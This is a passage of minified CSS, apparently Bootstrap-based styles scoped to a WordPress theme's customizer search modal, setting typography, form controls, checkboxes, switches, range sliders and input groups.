h3,#ocean-wp-customize-search .h3,.ocean-customize-search-modal h3,.ocean-customize-search-modal #ocean-wp-customize-search .h3,#ocean-wp-customize-search .ocean-customize-search-modal .h3,.ocean-customize-search-modal .h3{font-size:1.75rem}}#ocean-wp-customize-search h4,#ocean-wp-customize-search .h4,.ocean-customize-search-modal h4,.ocean-customize-search-modal #ocean-wp-customize-search .h4,#ocean-wp-customize-search .ocean-customize-search-modal .h4,.ocean-customize-search-modal .h4{font-size:calc(1.275rem + .3vw)}@media (min-width: 1200px){#ocean-wp-customize-search h4,#ocean-wp-customize-search .h4,.ocean-customize-search-modal h4,.ocean-customize-search-modal #ocean-wp-customize-search .h4,#ocean-wp-customize-search .ocean-customize-search-modal .h4,.ocean-customize-search-modal .h4{font-size:1.5rem}}#ocean-wp-customize-search h5,#ocean-wp-customize-search .h5,.ocean-customize-search-modal h5,.ocean-customize-search-modal #ocean-wp-customize-search .h5,#ocean-wp-customize-search .ocean-customize-search-modal .h5,.ocean-customize-search-modal .h5{font-size:1.25rem}#ocean-wp-customize-search h6,#ocean-wp-customize-search .h6,.ocean-customize-search-modal h6,.ocean-customize-search-modal #ocean-wp-customize-search .h6,#ocean-wp-customize-search .ocean-customize-search-modal .h6,.ocean-customize-search-modal .h6{font-size:1rem}#ocean-wp-customize-search p,.ocean-customize-search-modal p{margin-top:0;margin-bottom:1rem}#ocean-wp-customize-search abbr[title],#ocean-wp-customize-search abbr[data-bs-original-title],.ocean-customize-search-modal abbr[title],.ocean-customize-search-modal abbr[data-bs-original-title]{text-decoration:underline dotted;cursor:help;text-decoration-skip-ink:none}#ocean-wp-customize-search address,.ocean-customize-search-modal address{margin-bottom:1rem;font-style:normal;line-height:inherit}#ocean-wp-customize-search ol,#ocean-wp-customize-search ul,.ocean-customize-search-modal ol,.ocean-customize-search-modal ul{padding-left:2rem}#ocean-wp-customize-search ol,#ocean-wp-customize-search ul,#ocean-wp-customize-search dl,.ocean-customize-search-modal ol,.ocean-customize-search-modal ul,.ocean-customize-search-modal dl{margin-top:0;margin-bottom:1rem}#ocean-wp-customize-search ol ol,#ocean-wp-customize-search ul ul,#ocean-wp-customize-search ol ul,#ocean-wp-customize-search ul ol,.ocean-customize-search-modal ol ol,.ocean-customize-search-modal ul ul,.ocean-customize-search-modal ol ul,.ocean-customize-search-modal ul ol{margin-bottom:0}#ocean-wp-customize-search dt,.ocean-customize-search-modal dt{font-weight:700}#ocean-wp-customize-search dd,.ocean-customize-search-modal dd{margin-bottom:.5rem;margin-left:0}#ocean-wp-customize-search blockquote,.ocean-customize-search-modal blockquote{margin:0 0 1rem}#ocean-wp-customize-search b,#ocean-wp-customize-search strong,.ocean-customize-search-modal b,.ocean-customize-search-modal strong{font-weight:bolder}#ocean-wp-customize-search small,#ocean-wp-customize-search .small,.ocean-customize-search-modal small,.ocean-customize-search-modal #ocean-wp-customize-search .small,#ocean-wp-customize-search .ocean-customize-search-modal .small,.ocean-customize-search-modal .small{font-size:.875em}#ocean-wp-customize-search mark,#ocean-wp-customize-search .mark,.ocean-customize-search-modal mark,.ocean-customize-search-modal #ocean-wp-customize-search .mark,#ocean-wp-customize-search .ocean-customize-search-modal .mark,.ocean-customize-search-modal .mark{padding:.2em;background-color:#fcf8e3}#ocean-wp-customize-search sub,#ocean-wp-customize-search sup,.ocean-customize-search-modal sub,.ocean-customize-search-modal sup{position:relative;font-size:.75em;line-height:0;vertical-align:baseline}#ocean-wp-customize-search sub,.ocean-customize-search-modal sub{bottom:-.25em}#ocean-wp-customize-search sup,.ocean-customize-search-modal sup{top:-.5em}#ocean-wp-customize-search a,.ocean-customize-search-modal a{color:#0d6efd;text-decoration:underline}#ocean-wp-customize-search a:hover,.ocean-customize-search-modal a:hover{color:#0a58ca}#ocean-wp-customize-search a:not([href]):not([class]),#ocean-wp-customize-search a:not([href]):not([class]):hover,.ocean-customize-search-modal a:not([href]):not([class]),.ocean-customize-search-modal a:not([href]):not([class]):hover{color:inherit;text-decoration:none}#ocean-wp-customize-search pre,#ocean-wp-customize-search code,#ocean-wp-customize-search kbd,#ocean-wp-customize-search samp,.ocean-customize-search-modal pre,.ocean-customize-search-modal code,.ocean-customize-search-modal kbd,.ocean-customize-search-modal samp{font-family:var(--bs-font-monospace);font-size:1em;direction:ltr /* rtl:ignore */;unicode-bidi:bidi-override}#ocean-wp-customize-search pre,.ocean-customize-search-modal pre{display:block;margin-top:0;margin-bottom:1rem;overflow:auto;font-size:.875em}#ocean-wp-customize-search pre code,.ocean-customize-search-modal pre code{font-size:inherit;color:inherit;word-break:normal}#ocean-wp-customize-search code,.ocean-customize-search-modal code{font-size:.875em;color:#d63384;word-wrap:break-word}a>#ocean-wp-customize-search code,a>.ocean-customize-search-modal code{color:inherit}#ocean-wp-customize-search kbd,.ocean-customize-search-modal kbd{padding:.2rem .4rem;font-size:.875em;color:#fff;background-color:#212529;border-radius:.2rem}#ocean-wp-customize-search kbd kbd,.ocean-customize-search-modal kbd kbd{padding:0;font-size:1em;font-weight:700}#ocean-wp-customize-search figure,.ocean-customize-search-modal figure{margin:0 0 1rem}#ocean-wp-customize-search img,#ocean-wp-customize-search svg,.ocean-customize-search-modal img,.ocean-customize-search-modal svg{vertical-align:middle}#ocean-wp-customize-search table,.ocean-customize-search-modal table{caption-side:bottom;border-collapse:collapse}#ocean-wp-customize-search caption,.ocean-customize-search-modal caption{padding-top:.5rem;padding-bottom:.5rem;color:#6c757d;text-align:left}#ocean-wp-customize-search th,.ocean-customize-search-modal th{text-align:inherit;text-align:-webkit-match-parent}#ocean-wp-customize-search thead,#ocean-wp-customize-search tbody,#ocean-wp-customize-search tfoot,#ocean-wp-customize-search tr,#ocean-wp-customize-search td,#ocean-wp-customize-search th,.ocean-customize-search-modal thead,.ocean-customize-search-modal tbody,.ocean-customize-search-modal tfoot,.ocean-customize-search-modal tr,.ocean-customize-search-modal td,.ocean-customize-search-modal th{border-color:inherit;border-style:solid;border-width:0}#ocean-wp-customize-search label,.ocean-customize-search-modal label{display:inline-block}#ocean-wp-customize-search button,.ocean-customize-search-modal button{border-radius:0}#ocean-wp-customize-search button:focus:not(:focus-visible),.ocean-customize-search-modal button:focus:not(:focus-visible){outline:0}#ocean-wp-customize-search input,#ocean-wp-customize-search button,#ocean-wp-customize-search select,#ocean-wp-customize-search optgroup,#ocean-wp-customize-search textarea,.ocean-customize-search-modal input,.ocean-customize-search-modal button,.ocean-customize-search-modal select,.ocean-customize-search-modal optgroup,.ocean-customize-search-modal textarea{margin:0;font-family:inherit;font-size:inherit;line-height:inherit}#ocean-wp-customize-search button,#ocean-wp-customize-search select,.ocean-customize-search-modal button,.ocean-customize-search-modal select{text-transform:none}#ocean-wp-customize-search [role="button"],.ocean-customize-search-modal [role="button"]{cursor:pointer}#ocean-wp-customize-search select,.ocean-customize-search-modal select{word-wrap:normal}#ocean-wp-customize-search select:disabled,.ocean-customize-search-modal select:disabled{opacity:1}#ocean-wp-customize-search [list]::-webkit-calendar-picker-indicator,.ocean-customize-search-modal [list]::-webkit-calendar-picker-indicator{display:none}#ocean-wp-customize-search button,#ocean-wp-customize-search [type="button"],#ocean-wp-customize-search [type="reset"],#ocean-wp-customize-search [type="submit"],.ocean-customize-search-modal button,.ocean-customize-search-modal [type="button"],.ocean-customize-search-modal [type="reset"],.ocean-customize-search-modal [type="submit"]{-webkit-appearance:button}#ocean-wp-customize-search button:not(:disabled),#ocean-wp-customize-search [type="button"]:not(:disabled),#ocean-wp-customize-search [type="reset"]:not(:disabled),#ocean-wp-customize-search [type="submit"]:not(:disabled),.ocean-customize-search-modal button:not(:disabled),.ocean-customize-search-modal [type="button"]:not(:disabled),.ocean-customize-search-modal [type="reset"]:not(:disabled),.ocean-customize-search-modal [type="submit"]:not(:disabled){cursor:pointer}#ocean-wp-customize-search ::-moz-focus-inner,.ocean-customize-search-modal ::-moz-focus-inner{padding:0;border-style:none}#ocean-wp-customize-search textarea,.ocean-customize-search-modal textarea{resize:vertical}#ocean-wp-customize-search fieldset,.ocean-customize-search-modal fieldset{min-width:0;padding:0;margin:0;border:0}#ocean-wp-customize-search legend,.ocean-customize-search-modal legend{float:left;width:100%;padding:0;margin-bottom:.5rem;font-size:calc(1.275rem + .3vw);line-height:inherit}@media (min-width: 1200px){#ocean-wp-customize-search legend,.ocean-customize-search-modal legend{font-size:1.5rem}}#ocean-wp-customize-search legend+*,.ocean-customize-search-modal legend+*{clear:left}#ocean-wp-customize-search ::-webkit-datetime-edit-fields-wrapper,#ocean-wp-customize-search ::-webkit-datetime-edit-text,#ocean-wp-customize-search ::-webkit-datetime-edit-minute,#ocean-wp-customize-search ::-webkit-datetime-edit-hour-field,#ocean-wp-customize-search ::-webkit-datetime-edit-day-field,#ocean-wp-customize-search ::-webkit-datetime-edit-month-field,#ocean-wp-customize-search ::-webkit-datetime-edit-year-field,.ocean-customize-search-modal ::-webkit-datetime-edit-fields-wrapper,.ocean-customize-search-modal ::-webkit-datetime-edit-text,.ocean-customize-search-modal ::-webkit-datetime-edit-minute,.ocean-customize-search-modal ::-webkit-datetime-edit-hour-field,.ocean-customize-search-modal ::-webkit-datetime-edit-day-field,.ocean-customize-search-modal ::-webkit-datetime-edit-month-field,.ocean-customize-search-modal ::-webkit-datetime-edit-year-field{padding:0}#ocean-wp-customize-search ::-webkit-inner-spin-button,.ocean-customize-search-modal ::-webkit-inner-spin-button{height:auto}#ocean-wp-customize-search [type="search"],.ocean-customize-search-modal [type="search"]{outline-offset:-2px;-webkit-appearance:textfield}#ocean-wp-customize-search ::-webkit-search-decoration,.ocean-customize-search-modal ::-webkit-search-decoration{-webkit-appearance:none}#ocean-wp-customize-search ::-webkit-color-swatch-wrapper,.ocean-customize-search-modal ::-webkit-color-swatch-wrapper{padding:0}#ocean-wp-customize-search ::file-selector-button,.ocean-customize-search-modal ::file-selector-button{font:inherit}#ocean-wp-customize-search ::-webkit-file-upload-button,.ocean-customize-search-modal ::-webkit-file-upload-button{font:inherit;-webkit-appearance:button}#ocean-wp-customize-search output,.ocean-customize-search-modal output{display:inline-block}#ocean-wp-customize-search iframe,.ocean-customize-search-modal iframe{border:0}#ocean-wp-customize-search summary,.ocean-customize-search-modal summary{display:list-item;cursor:pointer}#ocean-wp-customize-search progress,.ocean-customize-search-modal progress{vertical-align:baseline}#ocean-wp-customize-search [hidden],.ocean-customize-search-modal [hidden]{display:none !important}#ocean-wp-customize-search .form-label,.ocean-customize-search-modal .form-label{margin-bottom:.5rem}#ocean-wp-customize-search .col-form-label,.ocean-customize-search-modal .col-form-label{padding-top:calc(.375rem + 1px);padding-bottom:calc(.375rem + 1px);margin-bottom:0;font-size:inherit;line-height:1.5}#ocean-wp-customize-search .col-form-label-lg,.ocean-customize-search-modal .col-form-label-lg{padding-top:calc(.5rem + 1px);padding-bottom:calc(.5rem + 1px);font-size:1.25rem}#ocean-wp-customize-search .col-form-label-sm,.ocean-customize-search-modal .col-form-label-sm{padding-top:calc(.25rem + 1px);padding-bottom:calc(.25rem + 1px);font-size:.875rem}#ocean-wp-customize-search .form-text,.ocean-customize-search-modal .form-text{margin-top:.25rem;font-size:.875em;color:#6c757d}#ocean-wp-customize-search .form-control,.ocean-customize-search-modal .form-control{display:block;width:100%;padding:.375rem .75rem;font-size:1rem;font-weight:400;line-height:1.5;color:#212529;background-color:#fff;background-clip:padding-box;border:1px solid #ced4da;appearance:none;border-radius:.25rem;transition:border-color 0.15s ease-in-out,box-shadow 0.15s ease-in-out}@media (prefers-reduced-motion: reduce){#ocean-wp-customize-search .form-control,.ocean-customize-search-modal .form-control{transition:none}}#ocean-wp-customize-search .form-control[type="file"],.ocean-customize-search-modal .form-control[type="file"]{overflow:hidden}#ocean-wp-customize-search .form-control[type="file"]:not(:disabled):not([readonly]),.ocean-customize-search-modal .form-control[type="file"]:not(:disabled):not([readonly]){cursor:pointer}#ocean-wp-customize-search .form-control:focus,.ocean-customize-search-modal .form-control:focus{color:#212529;background-color:#fff;border-color:#86b7fe;outline:0;box-shadow:0 0 0 .25rem rgba(13,110,253,0.25)}#ocean-wp-customize-search .form-control::-webkit-date-and-time-value,.ocean-customize-search-modal .form-control::-webkit-date-and-time-value{height:1.5em}#ocean-wp-customize-search .form-control::placeholder,.ocean-customize-search-modal .form-control::placeholder{color:#6c757d;opacity:1}#ocean-wp-customize-search .form-control:disabled,#ocean-wp-customize-search .form-control[readonly],.ocean-customize-search-modal .form-control:disabled,.ocean-customize-search-modal .form-control[readonly]{background-color:#e9ecef;opacity:1}#ocean-wp-customize-search .form-control::file-selector-button,.ocean-customize-search-modal .form-control::file-selector-button{padding:.375rem .75rem;margin:-.375rem -.75rem;margin-inline-end:.75rem;color:#212529;background-color:#e9ecef;pointer-events:none;border-color:inherit;border-style:solid;border-width:0;border-inline-end-width:1px;border-radius:0;transition:color 0.15s ease-in-out,background-color 0.15s ease-in-out,border-color 0.15s ease-in-out,box-shadow 0.15s ease-in-out}@media (prefers-reduced-motion: reduce){#ocean-wp-customize-search .form-control::file-selector-button,.ocean-customize-search-modal .form-control::file-selector-button{transition:none}}#ocean-wp-customize-search .form-control:hover:not(:disabled):not([readonly])::file-selector-button,.ocean-customize-search-modal .form-control:hover:not(:disabled):not([readonly])::file-selector-button{background-color:#dde0e3}#ocean-wp-customize-search .form-control::-webkit-file-upload-button,.ocean-customize-search-modal .form-control::-webkit-file-upload-button{padding:.375rem .75rem;margin:-.375rem -.75rem;margin-inline-end:.75rem;color:#212529;background-color:#e9ecef;pointer-events:none;border-color:inherit;border-style:solid;border-width:0;border-inline-end-width:1px;border-radius:0;transition:color 0.15s ease-in-out,background-color 0.15s ease-in-out,border-color 0.15s ease-in-out,box-shadow 0.15s ease-in-out}@media (prefers-reduced-motion: reduce){#ocean-wp-customize-search .form-control::-webkit-file-upload-button,.ocean-customize-search-modal .form-control::-webkit-file-upload-button{transition:none}}#ocean-wp-customize-search .form-control:hover:not(:disabled):not([readonly])::-webkit-file-upload-button,.ocean-customize-search-modal .form-control:hover:not(:disabled):not([readonly])::-webkit-file-upload-button{background-color:#dde0e3}#ocean-wp-customize-search .form-control-plaintext,.ocean-customize-search-modal .form-control-plaintext{display:block;width:100%;padding:.375rem 0;margin-bottom:0;line-height:1.5;color:#212529;background-color:transparent;border:solid transparent;border-width:1px 0}#ocean-wp-customize-search .form-control-plaintext.form-control-sm,#ocean-wp-customize-search .form-control-plaintext.form-control-lg,.ocean-customize-search-modal .form-control-plaintext.form-control-sm,.ocean-customize-search-modal .form-control-plaintext.form-control-lg{padding-right:0;padding-left:0}#ocean-wp-customize-search .form-control-sm,.ocean-customize-search-modal .form-control-sm{min-height:calc(1.5em + .5rem + 2px);padding:.25rem .5rem;font-size:.875rem;border-radius:.2rem}#ocean-wp-customize-search .form-control-sm::file-selector-button,.ocean-customize-search-modal .form-control-sm::file-selector-button{padding:.25rem .5rem;margin:-.25rem -.5rem;margin-inline-end:.5rem}#ocean-wp-customize-search .form-control-sm::-webkit-file-upload-button,.ocean-customize-search-modal .form-control-sm::-webkit-file-upload-button{padding:.25rem .5rem;margin:-.25rem -.5rem;margin-inline-end:.5rem}#ocean-wp-customize-search .form-control-lg,.ocean-customize-search-modal .form-control-lg{min-height:calc(1.5em + 1rem + 2px);padding:.5rem 1rem;font-size:1.25rem;border-radius:.3rem}#ocean-wp-customize-search .form-control-lg::file-selector-button,.ocean-customize-search-modal .form-control-lg::file-selector-button{padding:.5rem 1rem;margin:-.5rem -1rem;margin-inline-end:1rem}#ocean-wp-customize-search .form-control-lg::-webkit-file-upload-button,.ocean-customize-search-modal .form-control-lg::-webkit-file-upload-button{padding:.5rem 1rem;margin:-.5rem -1rem;margin-inline-end:1rem}#ocean-wp-customize-search textarea.form-control,.ocean-customize-search-modal textarea.form-control{min-height:calc(1.5em + .75rem + 2px)}#ocean-wp-customize-search textarea.form-control-sm,.ocean-customize-search-modal textarea.form-control-sm{min-height:calc(1.5em + .5rem + 2px)}#ocean-wp-customize-search textarea.form-control-lg,.ocean-customize-search-modal textarea.form-control-lg{min-height:calc(1.5em + 1rem + 2px)}#ocean-wp-customize-search .form-control-color,.ocean-customize-search-modal .form-control-color{width:3rem;height:auto;padding:.375rem}#ocean-wp-customize-search .form-control-color:not(:disabled):not([readonly]),.ocean-customize-search-modal .form-control-color:not(:disabled):not([readonly]){cursor:pointer}#ocean-wp-customize-search .form-control-color::-moz-color-swatch,.ocean-customize-search-modal .form-control-color::-moz-color-swatch{height:1.5em;border-radius:.25rem}#ocean-wp-customize-search .form-control-color::-webkit-color-swatch,.ocean-customize-search-modal .form-control-color::-webkit-color-swatch{height:1.5em;border-radius:.25rem}#ocean-wp-customize-search .form-select,.ocean-customize-search-modal .form-select{display:block;width:100%;padding:.375rem 2.25rem .375rem .75rem;-moz-padding-start:calc(.75rem - 3px);font-size:1rem;font-weight:400;line-height:1.5;color:#212529;background-color:#fff;background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16'%3e%3cpath fill='none' stroke='%23343a40' stroke-linecap='round' stroke-linejoin='round' stroke-width='2' d='M2 5l6 6 6-6'/%3e%3c/svg%3e");background-repeat:no-repeat;background-position:right .75rem center;background-size:16px 12px;border:1px solid #ced4da;border-radius:.25rem;transition:border-color 0.15s ease-in-out,box-shadow 0.15s ease-in-out;appearance:none}@media (prefers-reduced-motion: reduce){#ocean-wp-customize-search .form-select,.ocean-customize-search-modal .form-select{transition:none}}#ocean-wp-customize-search .form-select:focus,.ocean-customize-search-modal .form-select:focus{border-color:#86b7fe;outline:0;box-shadow:0 0 0 .25rem rgba(13,110,253,0.25)}#ocean-wp-customize-search .form-select[multiple],#ocean-wp-customize-search .form-select[size]:not([size="1"]),.ocean-customize-search-modal .form-select[multiple],.ocean-customize-search-modal .form-select[size]:not([size="1"]){padding-right:.75rem;background-image:none}#ocean-wp-customize-search .form-select:disabled,.ocean-customize-search-modal .form-select:disabled{background-color:#e9ecef}#ocean-wp-customize-search .form-select:-moz-focusring,.ocean-customize-search-modal .form-select:-moz-focusring{color:transparent;text-shadow:0 0 0 #212529}#ocean-wp-customize-search .form-select-sm,.ocean-customize-search-modal .form-select-sm{padding-top:.25rem;padding-bottom:.25rem;padding-left:.5rem;font-size:.875rem;border-radius:.2rem}#ocean-wp-customize-search .form-select-lg,.ocean-customize-search-modal .form-select-lg{padding-top:.5rem;padding-bottom:.5rem;padding-left:1rem;font-size:1.25rem;border-radius:.3rem}#ocean-wp-customize-search .form-check,.ocean-customize-search-modal .form-check{display:block;min-height:1.5rem;padding-left:1.5em;margin-bottom:.125rem}#ocean-wp-customize-search .form-check .form-check-input,.ocean-customize-search-modal .form-check .form-check-input{float:left;margin-left:-1.5em}#ocean-wp-customize-search .form-check-input,.ocean-customize-search-modal .form-check-input{width:1em;height:1em;margin-top:.25em;vertical-align:top;background-color:#fff;background-repeat:no-repeat;background-position:center;background-size:contain;border:1px solid rgba(0,0,0,0.25);appearance:none;color-adjust:exact}#ocean-wp-customize-search .form-check-input[type="checkbox"],.ocean-customize-search-modal .form-check-input[type="checkbox"]{border-radius:.25em}#ocean-wp-customize-search .form-check-input[type="radio"],.ocean-customize-search-modal .form-check-input[type="radio"]{border-radius:50%}#ocean-wp-customize-search .form-check-input:active,.ocean-customize-search-modal .form-check-input:active{filter:brightness(90%)}#ocean-wp-customize-search .form-check-input:focus,.ocean-customize-search-modal .form-check-input:focus{border-color:#86b7fe;outline:0;box-shadow:0 0 0 .25rem rgba(13,110,253,0.25)}#ocean-wp-customize-search .form-check-input:checked,.ocean-customize-search-modal .form-check-input:checked{background-color:#0d6efd;border-color:#0d6efd}#ocean-wp-customize-search .form-check-input:checked[type="checkbox"],.ocean-customize-search-modal .form-check-input:checked[type="checkbox"]{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 20 20'%3e%3cpath fill='none' stroke='%23fff' stroke-linecap='round' stroke-linejoin='round' stroke-width='3' d='M6 10l3 3l6-6'/%3e%3c/svg%3e")}#ocean-wp-customize-search .form-check-input:checked[type="radio"],.ocean-customize-search-modal .form-check-input:checked[type="radio"]{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='2' fill='%23fff'/%3e%3c/svg%3e")}#ocean-wp-customize-search .form-check-input[type="checkbox"]:indeterminate,.ocean-customize-search-modal .form-check-input[type="checkbox"]:indeterminate{background-color:#0d6efd;border-color:#0d6efd;background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 20 20'%3e%3cpath fill='none' stroke='%23fff' stroke-linecap='round' stroke-linejoin='round' stroke-width='3' d='M6 10h8'/%3e%3c/svg%3e")}#ocean-wp-customize-search .form-check-input:disabled,.ocean-customize-search-modal .form-check-input:disabled{pointer-events:none;filter:none;opacity:.5}#ocean-wp-customize-search .form-check-input[disabled] ~ .form-check-label,#ocean-wp-customize-search .form-check-input:disabled ~ .form-check-label,.ocean-customize-search-modal .form-check-input[disabled] ~ .form-check-label,.ocean-customize-search-modal .form-check-input:disabled ~ .form-check-label{opacity:.5}#ocean-wp-customize-search .form-switch,.ocean-customize-search-modal .form-switch{padding-left:2.5em}#ocean-wp-customize-search .form-switch .form-check-input,.ocean-customize-search-modal .form-switch .form-check-input{width:2em;margin-left:-2.5em;background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='3' fill='rgba%280,0,0,0.25%29'/%3e%3c/svg%3e");background-position:left center;border-radius:2em;transition:background-position 0.15s ease-in-out}@media (prefers-reduced-motion: reduce){#ocean-wp-customize-search .form-switch .form-check-input,.ocean-customize-search-modal .form-switch .form-check-input{transition:none}}#ocean-wp-customize-search .form-switch .form-check-input:focus,.ocean-customize-search-modal .form-switch .form-check-input:focus{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='3' fill='%2386b7fe'/%3e%3c/svg%3e")}#ocean-wp-customize-search .form-switch .form-check-input:checked,.ocean-customize-search-modal .form-switch .form-check-input:checked{background-position:right center;background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='3' fill='%23fff'/%3e%3c/svg%3e")}#ocean-wp-customize-search .form-check-inline,.ocean-customize-search-modal .form-check-inline{display:inline-block;margin-right:1rem}#ocean-wp-customize-search .btn-check,.ocean-customize-search-modal .btn-check{position:absolute;clip:rect(0, 0, 0, 0);pointer-events:none}#ocean-wp-customize-search .btn-check[disabled]+.btn,#ocean-wp-customize-search .btn-check:disabled+.btn,.ocean-customize-search-modal .btn-check[disabled]+.btn,.ocean-customize-search-modal .btn-check:disabled+.btn{pointer-events:none;filter:none;opacity:.65}#ocean-wp-customize-search .form-range,.ocean-customize-search-modal .form-range{width:100%;height:1.5rem;padding:0;background-color:transparent;appearance:none}#ocean-wp-customize-search .form-range:focus,.ocean-customize-search-modal .form-range:focus{outline:0}#ocean-wp-customize-search .form-range:focus::-webkit-slider-thumb,.ocean-customize-search-modal .form-range:focus::-webkit-slider-thumb{box-shadow:0 0 0 1px #fff,0 0 0 .25rem rgba(13,110,253,0.25)}#ocean-wp-customize-search .form-range:focus::-moz-range-thumb,.ocean-customize-search-modal .form-range:focus::-moz-range-thumb{box-shadow:0 0 0 1px #fff,0 0 0 .25rem rgba(13,110,253,0.25)}#ocean-wp-customize-search .form-range::-moz-focus-outer,.ocean-customize-search-modal .form-range::-moz-focus-outer{border:0}#ocean-wp-customize-search .form-range::-webkit-slider-thumb,.ocean-customize-search-modal .form-range::-webkit-slider-thumb{width:1rem;height:1rem;margin-top:-.25rem;background-color:#0d6efd;border:0;border-radius:1rem;transition:background-color 0.15s ease-in-out,border-color 0.15s ease-in-out,box-shadow 0.15s ease-in-out;appearance:none}@media (prefers-reduced-motion: reduce){#ocean-wp-customize-search .form-range::-webkit-slider-thumb,.ocean-customize-search-modal .form-range::-webkit-slider-thumb{transition:none}}#ocean-wp-customize-search .form-range::-webkit-slider-thumb:active,.ocean-customize-search-modal .form-range::-webkit-slider-thumb:active{background-color:#b6d4fe}#ocean-wp-customize-search .form-range::-webkit-slider-runnable-track,.ocean-customize-search-modal .form-range::-webkit-slider-runnable-track{width:100%;height:.5rem;color:transparent;cursor:pointer;background-color:#dee2e6;border-color:transparent;border-radius:1rem}#ocean-wp-customize-search .form-range::-moz-range-thumb,.ocean-customize-search-modal .form-range::-moz-range-thumb{width:1rem;height:1rem;background-color:#0d6efd;border:0;border-radius:1rem;transition:background-color 0.15s ease-in-out,border-color 0.15s ease-in-out,box-shadow 0.15s ease-in-out;appearance:none}@media (prefers-reduced-motion: reduce){#ocean-wp-customize-search .form-range::-moz-range-thumb,.ocean-customize-search-modal .form-range::-moz-range-thumb{transition:none}}#ocean-wp-customize-search .form-range::-moz-range-thumb:active,.ocean-customize-search-modal .form-range::-moz-range-thumb:active{background-color:#b6d4fe}#ocean-wp-customize-search .form-range::-moz-range-track,.ocean-customize-search-modal .form-range::-moz-range-track{width:100%;height:.5rem;color:transparent;cursor:pointer;background-color:#dee2e6;border-color:transparent;border-radius:1rem}#ocean-wp-customize-search .form-range:disabled,.ocean-customize-search-modal .form-range:disabled{pointer-events:none}#ocean-wp-customize-search .form-range:disabled::-webkit-slider-thumb,.ocean-customize-search-modal .form-range:disabled::-webkit-slider-thumb{background-color:#adb5bd}#ocean-wp-customize-search .form-range:disabled::-moz-range-thumb,.ocean-customize-search-modal .form-range:disabled::-moz-range-thumb{background-color:#adb5bd}#ocean-wp-customize-search .form-floating,.ocean-customize-search-modal .form-floating{position:relative}#ocean-wp-customize-search .form-floating>.form-control,#ocean-wp-customize-search .form-floating>.form-select,.ocean-customize-search-modal .form-floating>.form-control,.ocean-customize-search-modal .form-floating>.form-select{height:calc(3.5rem + 2px);line-height:1.25}#ocean-wp-customize-search .form-floating>label,.ocean-customize-search-modal .form-floating>label{position:absolute;top:0;left:0;height:100%;padding:1rem .75rem;pointer-events:none;border:1px solid transparent;transform-origin:0 0;transition:opacity 0.1s ease-in-out,transform 0.1s ease-in-out}@media (prefers-reduced-motion: reduce){#ocean-wp-customize-search .form-floating>label,.ocean-customize-search-modal .form-floating>label{transition:none}}#ocean-wp-customize-search .form-floating>.form-control,.ocean-customize-search-modal .form-floating>.form-control{padding:1rem .75rem}#ocean-wp-customize-search .form-floating>.form-control::placeholder,.ocean-customize-search-modal .form-floating>.form-control::placeholder{color:transparent}#ocean-wp-customize-search .form-floating>.form-control:focus,#ocean-wp-customize-search .form-floating>.form-control:not(:placeholder-shown),.ocean-customize-search-modal .form-floating>.form-control:focus,.ocean-customize-search-modal .form-floating>.form-control:not(:placeholder-shown){padding-top:1.625rem;padding-bottom:.625rem}#ocean-wp-customize-search .form-floating>.form-control:-webkit-autofill,.ocean-customize-search-modal .form-floating>.form-control:-webkit-autofill{padding-top:1.625rem;padding-bottom:.625rem}#ocean-wp-customize-search .form-floating>.form-select,.ocean-customize-search-modal .form-floating>.form-select{padding-top:1.625rem;padding-bottom:.625rem}#ocean-wp-customize-search .form-floating>.form-control:focus ~ label,#ocean-wp-customize-search .form-floating>.form-control:not(:placeholder-shown) ~ label,#ocean-wp-customize-search .form-floating>.form-select ~ label,.ocean-customize-search-modal .form-floating>.form-control:focus ~ label,.ocean-customize-search-modal .form-floating>.form-control:not(:placeholder-shown) ~ label,.ocean-customize-search-modal .form-floating>.form-select ~ label{opacity:.65;transform:scale(0.85) translateY(-0.5rem) translateX(0.15rem)}#ocean-wp-customize-search .form-floating>.form-control:-webkit-autofill ~ label,.ocean-customize-search-modal .form-floating>.form-control:-webkit-autofill ~ label{opacity:.65;transform:scale(0.85) translateY(-0.5rem) translateX(0.15rem)}#ocean-wp-customize-search .input-group,.ocean-customize-search-modal .input-group{position:relative;display:flex;flex-wrap:wrap;align-items:stretch;width:100%}#ocean-wp-customize-search .input-group>.form-control,#ocean-wp-customize-search .input-group>.form-select,.ocean-customize-search-modal .input-group>.form-control,.ocean-customize-search-modal .input-group>.form-select{position:relative;flex:1 1 auto;width:1%;min-width:0}#ocean-wp-customize-search .input-group>.form-control:focus,#ocean-wp-customize-search .input-group>.form-select:focus,.ocean-customize-search-modal .input-group>.form-control:focus,.ocean-customize-search-modal .input-group>.form-select:focus{z-index:3}#ocean-wp-customize-search .input-group .btn,.ocean-customize-search-modal .input-group .btn{position:relative;z-index:2}#ocean-wp-customize-search .input-group .btn:focus,.ocean-customize-search-modal .input-group .btn:focus{z-index:3}#ocean-wp-customize-search .input-group-text,.ocean-customize-search-modal .input-group-text{display:flex;align-items:center;padding:.375rem .75rem;font-size:1rem;font-weight:400;line-height:1.5;color:#212529;text-align:center;white-space:nowrap;background-color:#e9ecef;border:1px solid #ced4da;border-radius:.25rem}#ocean-wp-customize-search .input-group-lg>.form-control,#ocean-wp-customize-search .input-group-lg>.form-select,#ocean-wp-customize-search .input-group-lg>.input-group-text,#ocean-wp-customize-search .input-group-lg>.btn,.ocean-customize-search-modal .input-group-lg>.form-control,.ocean-customize-search-modal .input-group-lg>.form-select,.ocean-customize-search-modal .input-group-lg>.input-group-text,.ocean-customize-search-modal .input-group-lg>.btn{padding:.5rem 1rem;font-size:1.25rem;border-radius:.3rem}#ocean-wp-customize-search .input-group-sm>.form-control,#ocean-wp-customize-search .input-group-sm>.form-select,#ocean-wp-customize-search .input-group-sm>.input-group-text,#ocean-wp-customize-search .input-group-sm>.btn,.ocean-customize-search-modal .input-group-sm>.form-control,.ocean-customize-search-modal .input-group-sm>.form-select,.ocean-customize-search-modal 